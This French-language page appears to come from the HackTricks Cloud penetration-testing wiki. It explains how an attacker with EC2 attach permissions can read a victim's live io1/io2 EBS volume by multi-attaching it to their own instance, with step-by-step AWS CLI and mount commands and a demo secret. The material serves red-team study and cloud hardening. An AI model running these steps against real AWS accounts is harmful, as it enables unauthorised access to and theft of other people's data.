AWS - Live Data Theft via EBS Multi-Attach
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Résumé
Abuse EBS Multi-Attach pour lire un volume de données io1/io2 en cours d’utilisation en attachant ce même volume à une instance contrôlée par l’attaquant dans la même Availability Zone (AZ). Monter le volume partagé en lecture seule permet d’accéder immédiatement aux fichiers en cours d’utilisation sans créer de snapshots.
Prérequis
- Volume cible : io1 ou io2 créé avec
--multi-attach-enableddans la même AZ que l’instance de l’attaquant. - Permissions :
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstancessur le volume/les instances ciblés. - Infrastructure : types d’instances basés sur Nitro qui supportent Multi-Attach (familles C5/M5/R5, etc.).
Remarques
- Monter en lecture seule avec
-o ro,noloadpour réduire le risque de corruption et éviter les replays du journal. - Sur les instances Nitro, le périphérique EBS NVMe expose un chemin stable
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...(aide ci-dessous).
Préparer un volume io2 Multi-Attach et l’attacher à la victime
Exemple (créer dans us-east-1a et attacher à la victime) :
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
Sur la victime, formatez/montez le nouveau volume et écrivez des données sensibles (à titre d’illustration) :
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Attacher le même volume à l’instance de l’attaquant
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
Mount read-only sur l’attacker et lire les données
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Résultat attendu : Le même VOL_ID affiche plusieurs Attachments (victim and attacker) et the attacker peut lire les fichiers écrits par the victim sans créer de snapshot.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Aide : trouver le chemin du périphérique NVMe par Volume ID
Sur les instances Nitro, utilisez le chemin by-id stable qui intègre le Volume ID (supprimez le tiret après vol):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Impact
- Accès en lecture immédiat aux données en direct du volume EBS ciblé sans générer de snapshots.
- Si monté en lecture-écriture (read-write), l’attaquant peut altérer le système de fichiers de la victime (risque de corruption).
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

